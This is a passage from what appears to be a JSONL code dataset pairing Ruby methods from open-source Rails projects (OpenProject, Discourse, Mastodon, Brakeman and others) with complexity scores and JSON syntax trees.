end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"make_group_matcher\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Providers\"]},\"SetAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Provider\"]},\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Providers\"]},\"CreateContract\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_regexes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preview_regular_expressions\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_regexes\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_regexes\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Groups\"]},\"GroupMatchService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"result\"]},\"group_matchers\"]}]}]}]}]}]}]}]}","id":"3be32820-6944-40e2-bc2d-6c667e92a746"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":61,"raw_source":"def permitted_params\n params.permit(\n :name, :account_id, :visibility,\n actions: [:action_name, { action_params: [] }]\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_params\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"5e59c986-37e6-4985-9e18-7b43f1ec5006"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meetings_controller.rb","start_line":182,"raw_source":"def destroy # rubocop:disable Metrics/AbcSize\n recurring = @meeting.recurring_meeting\n\n # rubocop:disable Rails/ActionControllerFlashBeforeRender\n Meetings::DeleteService\n .new(model: @meeting, user: User.current)\n .call\n .on_success { flash[:notice] = recurring ? I18n.t(:notice_successful_cancel) : I18n.t(:notice_successful_delete) }\n .on_failure { |call| flash[:error] = call.message }\n # rubocop:enable Rails/ActionControllerFlashBeforeRender\n\n if recurring\n redirect_to project_recurring_meeting_path(@project, recurring), status: :see_other\n else\n redirect_back_or_default project_meetings_path(@project), status: :see_other\n end\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recurring\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"recurring_meeting\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Meetings\"]},\"DeleteService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@meeting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]},\"call\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurring\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_cancel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_delete\"]}]}]}]}]},\"on_failure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurring\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_recurring_meeting_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"lvar\",\"children\":[\"recurring\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back_or_default\",{\"type\":\"send\",\"children\":[null,\"project_meetings_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}]}","id":"b31177ca-739d-4e55-8982-418e65048fc8"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/users/scopes/having_reminder_mail_to_send.rb","start_line":59,"raw_source":"def having_reminder_mail_to_send(earliest_time, latest_time)\n local_times = local_times_from(earliest_time, latest_time)\n\n return none if local_times.empty?\n\n # Left outer join as not all user instances have preferences associated\n # but we still want to select them.\n recipient_candidates = User\n .active\n .left_joins(:preference)\n .joins(local_time_join(local_times))\n\n subscriber_ids = Notification\n .unsent_reminders_before(recipient: recipient_candidates, time: latest_time)\n .group(:recipient_id)\n .select(:recipient_id)\n\n where(id: subscriber_ids)\n end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"having_reminder_mail_to_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"earliest_time\"]},{\"type\":\"arg\",\"children\":[\"latest_time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"local_times\",{\"type\":\"send\",\"children\":[null,\"local_times_from\",{\"type\":\"lvar\",\"children\":[\"earliest_time\"]},{\"type\":\"lvar\",\"children\":[\"latest_time\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_times\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"recipient_candidates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"active\"]},\"left_joins\",{\"type\":\"sym\",\"children\":[\"preference\"]}]},\"joins\",{\"type\":\"send\",\"children\":[null,\"local_time_join\",{\"type\":\"lvar\",\"children\":[\"local_times\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"unsent_reminders_before\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient\"]},{\"type\":\"lvar\",\"children\":[\"recipient_candidates\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"latest_time\"]}]}]}]},\"group\",{\"type\":\"sym\",\"children\":[\"recipient_id\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"recipient_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"subscriber_ids\"]}]}]}]}]}]}","id":"c241e951-d6eb-4036-b191-fc624b195abe"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/label_base.rb","start_line":21,"raw_source":"def fabricate!\n Page::Label::Index.perform(&:click_new_label_button)\n Page::Label::New.perform do |new_page|\n new_page.fill_title(title)\n new_page.fill_description(description)\n new_page.fill_color(color)\n new_page.click_label_create_button\n end\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Label\"]},\"Index\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"click_new_label_button\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Label\"]},\"New\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_title\",{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_description\",{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_color\",{\"type\":\"send\",\"children\":[null,\"color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"click_label_create_button\"]}]}]}]}]}","id":"2121c0ec-0a10-4aef-8aea-8e6455bbce1f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":1082,"raw_source":"def extract_constraint_deferrable(deferrable, deferred)\n deferrable && (deferred ? :deferred : :immediate)\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_constraint_deferrable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deferrable\"]},{\"type\":\"arg\",\"children\":[\"deferred\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deferrable\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deferred\"]},{\"type\":\"sym\",\"children\":[\"deferred\"]},{\"type\":\"sym\",\"children\":[\"immediate\"]}]}]}]}]}","id":"e2613af4-4aca-42e7-b5b4-9f88ce0065c6"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/linkedin_oidc_credentials_validator.rb","start_line":20,"raw_source":"def credentials_missing?\n SiteSetting.linkedin_oidc_client_id.blank? || SiteSetting.linkedin_oidc_client_secret.blank?\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"credentials_missing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"linkedin_oidc_client_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"linkedin_oidc_client_secret\"]},\"blank?\"]}]}]}","id":"fd99f503-def7-4a8d-8e14-0621a3528a89"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_revision_serializer.rb","start_line":117,"raw_source":"def include_edit_reason?\n scope.can_view_hidden_post_revisions? || current[\"revision\"] == previous[\"revision\"] + 1\n end","complexity_score":12.18,"ast_json":"{\"type\":\"def\",\"children\":[\"include_edit_reason?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_view_hidden_post_revisions?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current\"]},\"[]\",{\"type\":\"str\",\"children\":[\"revision\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous\"]},\"[]\",{\"type\":\"str\",\"children\":[\"revision\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"256d6d20-850f-4c51-97a4-5f17aa33e297"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":298,"raw_source":"def test_CVE_2010_3933_rails3\n before_rescan_of [\"Gemfile.lock\", \"app/models/a.rb\"], \"rails3\", :run_checks => [\"CheckNestedAttributes\"] do\n replace \"Gemfile.lock\", \"rails (3.0.3)\", \"rails (3.0.0)\"\n write_file \"app/models/a.rb\", <<-RUBY\n class A < ActiveRecord::Base\n accepts_nested_attributes_for :b\n end\n RUBY\n end\n\n assert_version \"3.0.0\"\n\n warning = new.find do |w|\n w.warning_code == 31 and # CVE_2010_3933\n w.message.to_s == \"Vulnerability in nested attributes (CVE-2010-3933). Upgrade to Rails 3.0.1\"\n end\n\n refute_nil warning\n end","complexity_score":18.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2010_3933_rails3\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"app/models/a.rb\"]}]},{\"type\":\"str\",\"children\":[\"rails3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_checks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CheckNestedAttributes\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"rails (3.0.3)\"]},{\"type\":\"str\",\"children\":[\"rails (3.0.0)\"]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"str\",\"children\":[\"app/models/a.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class A < ActiveRecord::Base\\n\"]},{\"type\":\"str\",\"children\":[\" accepts_nested_attributes_for :b\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"3.0.0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"warning\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"warning_code\"]},\"==\",{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"message\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"Vulnerability in nested attributes (CVE-2010-3933). Upgrade to Rails 3.0.1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refute_nil\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]}]}]}","id":"39f46572-d596-4e58-a1b4-0f8487c84b4d"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":53,"raw_source":"def without_unavailable(urls)\n unavailable_domains_map = Rails.cache.fetch('unavailable_domains') { UnavailableDomain.pluck(:domain).index_with(true) }\n\n urls.reject do |url|\n host = Addressable::URI.parse(url).normalized_host\n unavailable_domains_map[host]\n rescue Addressable::URI::InvalidURIError, IDN::Idna::IdnaError\n true\n end\n end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"without_unavailable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"urls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unavailable_domains_map\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"unavailable_domains\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnavailableDomain\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},\"index_with\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"normalized_host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unavailable_domains_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IDN\"]},\"Idna\"]},\"IdnaError\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}","id":"93887670-e529-4118-a326-d7c7582fbd34"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module/introspection_test.rb","start_line":29,"raw_source":"def test_module_parent_name_notice_changes\n klass = Class.new\n assert_nil klass.module_parent_name\n ParentA.const_set(:NewClass, klass)\n assert_equal \"ParentA\", klass.module_parent_name\n ensure\n ParentA.send(:remove_const, :NewClass) if ParentA.const_defined?(:NewClass)\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_module_parent_name_notice_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"module_parent_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParentA\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"NewClass\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"ParentA\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"module_parent_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParentA\"]},\"const_defined?\",{\"type\":\"sym\",\"children\":[\"NewClass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParentA\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"sym\",\"children\":[\"NewClass\"]}]},null]}]}]}","id":"8558a8f0-51d2-4db6-b77f-df6015e44729"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/streaming_controller.rb","start_line":4,"raw_source":"def index\n if same_host?\n not_found\n else\n redirect_to streaming_api_url, status: 301, allow_other_host: true\n end\n end","complexity_score":5.83,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_host?\"]},{\"type\":\"send\",\"children\":[null,\"not_found\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"streaming_api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[301]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_other_host\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4e2e2902-dcc2-4c37-86a9-22569fdb5a73"}
+{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/service/s3_service.rb","start_line":55,"raw_source":"def download_chunk(key, range)\n instrument :download_chunk, key: key, range: range do\n object_for(key).get(range: \"bytes=#{range.begin}-#{range.exclude_end? ? range.end - 1 : range.end}\").body.string.force_encoding(Encoding::BINARY)\n rescue Aws::S3::Errors::NoSuchKey\n raise ActiveStorage::FileNotFoundError\n end\n end","complexity_score":25.38,"ast_json":"{\"type\":\"def\",\"children\":[\"download_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"download_chunk\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bytes=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"exclude_end?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]}]}]}]}]}]}]},\"body\"]},\"string\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"BINARY\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"S3\"]},\"Errors\"]},\"NoSuchKey\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"FileNotFoundError\"]}]}]},null]}]}]}","id":"623be91b-0c66-4990-8cda-a13fe848cbb9"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/clean_up_email_tokens.rb","start_line":7,"raw_source":"def execute(args)\n EmailToken.where(\"NOT confirmed AND expired\").where(\"created_at < ?\", 1.month.ago).delete_all\n end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"where\",{\"type\":\"str\",\"children\":[\"NOT confirmed AND expired\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"created_at < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]},\"ago\"]}]},\"delete_all\"]}]}","id":"f01892d7-70e5-4568-9336-bfaff83199c1"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/server_role.rb","start_line":61,"raw_source":"def regional_role?\n role_scope == \"region\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regional_role?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_scope\"]},\"==\",{\"type\":\"str\",\"children\":[\"region\"]}]}]}","id":"ccf137c7-9a78-4c11-be0f-039fd003d4a6"}
+{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/parallel_generator.rb","start_line":80,"raw_source":"def enqueue_boundary_resolver(session_id, chunk_count)\n # Delay based on estimated processing time (30 seconds per chunk + buffer)\n estimated_delay = [chunk_count * 30.seconds, 5.minutes].max\n\n Tracks::BoundaryResolverJob.set(wait: estimated_delay).perform_later(\n user.id,\n session_id\n )\n 